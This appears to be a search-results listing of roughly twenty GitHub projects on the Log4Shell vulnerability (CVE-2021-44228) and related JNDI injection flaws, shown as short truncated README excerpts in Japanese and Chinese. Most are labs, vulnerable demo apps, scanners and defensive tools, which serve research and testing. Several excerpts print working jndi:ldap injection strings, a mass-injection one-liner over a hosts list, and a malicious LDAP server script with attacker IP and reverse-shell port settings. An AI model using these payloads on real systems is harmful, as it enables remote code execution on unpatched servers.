362 matches found
log4shell-homework9
課題9 – Log4Shellエクスプロイトに対するシステムの保護 概要 このプロジェクトは、脆弱なLog4j 2.14.1を使用するDocker化されたJava Webアプリケーションを用いて、Log4Shellの脆弱性(CVE-2021-44228)の悪用と緩和を実証します。この構成には、JNDIインジェクション攻撃経路を実証するための、模擬的な悪意のあるLDAPサーバーも含まれます。 悪用後、Log4jのアップグレード、入力検証、MITRE D3FENDおよびATT&CKの推奨事項の適用により、システムは強化されます。 フォルダ構成 root@kitploit:...
THM---Solar-exploiting-Log-4j
THM---Solar-exploiting-Log-4j このルームは、悪名高いLog4j脆弱性(CVE-2021-44228)(Log4Shellとも呼ばれる)を悪用することに基づいています。この脆弱性により、攻撃者はログメッセージに悪意のあるペイロードを注入してリモートコードを実行できます。 TASK 1 – CVE-2021-44228 はじめに このタスクでは、Apache Log4jのLog4Shell脆弱性(CVE-2021-44228)について学習しました。 • Log4jは広く使われているJavaロギングライブラリです。 •...
Log4J-Simulation-Tool
プロジェクトについて これは、CVE-2021-44228 向けに特別に作成された自動脆弱性スキャナー、パッチ管理、およびエクスプロイトツールです。これは Python、Java、Linux シェルプログラムの組み合わせであり、ネットワーク管理者、エンドポイントセキュリティ開発者、サイバーセキュリティアナリストがペネトレーションテストを実施し、Log4Shell 脆弱性から自身を保護することを容易にします。 セキュリティアナリストは、Log4J JNDI 攻撃を実行できるだけでなく、統合されたパッチマネージャーを使用してセキュリティ問題を軽減することもできます。...
log4shell_lab
log4shell エクスプロイトラボ このリポジトリは、log4shell エクスプロイトラボのワンラインセットアップです。 ラボのセットアップ: docker-compose up -d エクスプロイトの実行: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" 次に、vul コンテナに移動して、実際にマシンを pwn したことを確認します: ラボのセットアップを解説する動画: https://www.youtube.com/watch?v=WBzR30JcT5...
log4j-vul
log4j-vul このプロジェクトは、Apache Log4j2 の脆弱性 別名 CVE-2021-44228 を示すためのものです。 Java: java version "1.8.0121" コンパイル: srcフォルダから javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java 実行\実行: srcフォルダから java -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar...
log4shell-tools
log4shell.tools log4shell.tools は、あなたのアプリケーションの1つが log4j の最近の脆弱性(CVE-2021-44228 および CVE-2021-45046 )の影響を受けているかどうかを確認するためのテストを実行できるツールです。 これは https://log4shell.alexbakker.me を実行しているコードです。コードを調査したり、自分の環境でインスタンスを実行したい場合は、適切な場所に来ました。 これはどのように機能しますか? このツールは、テスト用の一意のIDを生成します。開始をクリックすると、次のようなテキストが生成されます...
log4shell-vulnerable-app
Log4Shell示例漏洞应用程序(CVE-2021-44228) 本仓库包含一个存在CVE-2021-44228(别名 Log4Shell)漏洞的Spring Boot Web应用程序。 它使用了Log4j 2.14.1(通过 spring-boot-starter-log4j2 2.6.1)和JDK 1.8.0181。 运行应用程序 运行它: root@kitploit: docker run --name vulnerable-app --rm -p 8080:8080...
cloudrasp-log4j2
CloudArmor · ランタイムアプリケーション自己防御モジュール - Log4j2 バージョン 简体中文 このプロジェクトは、Log4j2 CVE-2021-44228 を防御するために特別に構築された CloudArmor のローカルバージョンです。このプロジェクトを実行するためにネットワーク接続は必要ありません。 本番環境にデプロイする前に必ずテストを行ってください。...
Log4Shell
Log4Shell CVE-2021-44228 ☠️ Log4Shell PoC CVE-2021-44228 针对 Apache Log4j ≤ 2.14.1 中关键漏洞 Log4Shell 的测试利用工具,可通过 JNDI 注入实现远程代码执行。 ⚠️ 此 PoC 仅用于教育目的和在授权环境中的受控测试。 未经明确许可,请勿将其用于任何系统。 要求 Python 3.x Java 8 或更高版本 marshalsec(用于恶意 LDAP 服务器) HTTP 服务器(例如 python3 -m http.server) Docker(可选,用于搭建漏洞环境) 本地测试环境(可选,使用...
Log4j-JNDIServer
Log4j-JNDIServer このプロジェクトは、Log4jの脆弱性CVE-2021-44228およびCVE-2021-45046をテストするのに役立ちます。 インストールとビルド IntelliJ IDEAでプロジェクトを読み込む 「プロジェクト設定」でJDKを選択 Ctrl + Alt + Shift + S 「プロジェクト設定」でアーティファクトを作成 - 「アーティファクト」 - 「モジュールからJARを作成」 - 「ライブラリからのJARファイル」で「ターゲットJARに抽出」を選択 - 「OK」 プロジェクトをビルド Ctrl +...
log4j2-CVE-2021-44228
Log4j2 脆弱性サンプルアプリケーション CVE-2021-44228 影響を受けるバージョン: 2.0-beta9 から 2.14.1 までの全バージョン このアプリケーションは、CVE-2021-44228 の脆弱性を持つ Spring Boot Web アプリケーションをベースにしています。 これは Log4j 2.14.1 を使用しています spring-boot-starter-log4j2 2.6.1 経由。 アプリケーションの実行 実行方法: root@kitploit: Import the project in Java IDE as a maven project...
JNDI-Injection-Exploit-Plus
JNDI-Injection-Exploit-Plus 中文 README 説明 JNDI-Injection-Exploit-Plus は、動作可能な JNDI リンク を生成し、RMI サーバー、LDAP サーバー、HTTP サーバーを起動してバックグラウンドサービスを提供するツールです。 このツールを使用すると、JNDI リンクを取得できます。これらのリンクを POC に挿入して、脆弱性をテストできます。 例えば、これは Fastjson の脆弱性 POC です: root@kitploit:...
Log4Shell-Payloads
🚨 Log4Shell ペイロードコレクション 厳選された Log4Shell / Log4J エクスプロイトペイロード のリスト。対象: CVE-2021-45046 CVE-2022-42889 🔗 作成者: @nav1n0x 🔥 ワンライナーペイロード ✅ ワンライナー1bash cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo '/$jndi:ldap://.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a' L4SFuzzList httpx -l...
CVE-2021-44228-Demo
CVE-2021-44228-Demo CVE-2021-44228 を利用し、RMI と LDAP の 2 つの方法でコードをリモートから注入する例です。 root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer と LdapServer の起...
test-44228
test-44228 CVE-2021-44228 の簡単な例 log4shell の脆弱性を実証するために、log4j v1.x を使用するものと log4j 2.x を使用するものの 2 つの Java CLI を実装しています。 関連情報: https://www.lunasec.io/docs/blog/log4j-zero-day/ https://www.oracle.com/security-alerts/alert-cve-2021-44228.html 使用方法 脆弱な Log4J2 1. 何らかのサーバー(localhost またはリモート)でリスナーを起動します。例...
CVE-2021-44228
CVE-2021-44228 こっちのお話の方がより実用性があると思います泣christophetd/log4shell-vulnerable-app 興味を持って勢いで調べただけなので、あやふやな箇所や間違いがあると思われます。 どうか、自己責任でお願いします。 再現環境を作る。 linux環境であれば動作すると思われます。 1. jdk のダウンロード jdk8u191 以降では com.sun.jndi.rmi.object.trustURLCodebase オプションが追加され、デフォルトが False になっています。 この状態では外部で用意した class...
CVE-2024-21182
CVE-2024-21182 — Oracle WebLogic Server T3/IIOP JNDIインジェクション → RCE ラボ Oracle WebLogic ServerのOpaqueReference JNDIインジェクション脆弱性ファミリー(CVE-2024-21182、CVE-2023-21839のパッチバイパス)を再現・検証 し、認証なしのリモートコード実行 に変換する、自己完結型のワンコマンドDockerラボです。 ⚠️ 許可されたセキュリティ研究、教育、パッチ検証のみを目的としています。...
CVE-2021-44228-Log4Shell-
CVE-2021-44228-Log4Shell- 侵入テスト 1. 悪意のあるLDAPサーバーの作成 Marshalsec使用 root@kitploit: !/bin/bash Script: startldapserver.sh Yêu cầu: Cài đặt Java và Marshalsec https://github.com/mbechler/marshalsec LDAPPORT="1389" HTTPPORT="8000" ATTACKERIP="192.168.0.101" REVERSEPORT="5555" echo "+ Khởi động LDAP...
log4j-poc
log4j-poc CVE-2021-44228 Log4Shell 用の LDAP RCE エクスプロイト 説明 ポート8080のデモTomcat 8サーバーには、脆弱なアプリケーション(log4shell)がデプロイされており、サーバーはUser-Agent攻撃に対しても脆弱です。 このデモのリモートエクスプロイトアプリは、https://github.com/kozmer/log4j-shell-poc にあるものに基づいています。 このデモTomcatサーバー(Tomcat 8.5.3、Java...
CVE-2021-44228-PoC
CVE-2021-44228 PoC CVE-2021-44228 の PoC。 このプロジェクトは教育目的のみで作成されました。 エクスプロイトサーバー このプロジェクトは、http サーバーと ldap サーバーの 2 つを作成します。両方ともエクスプロイトが動作するために必要です。指定された Java ファイルがコンパイルされ、Dockerfile 内でサーバーが起動されます。ペイロードはユーザーに表示され、脆弱なアプリケーションに渡す必要があります。 ペイロードの例: root@kitploit: $jndi:ldap//127.0.0.1:1389/a 実行方法 バインドシェル...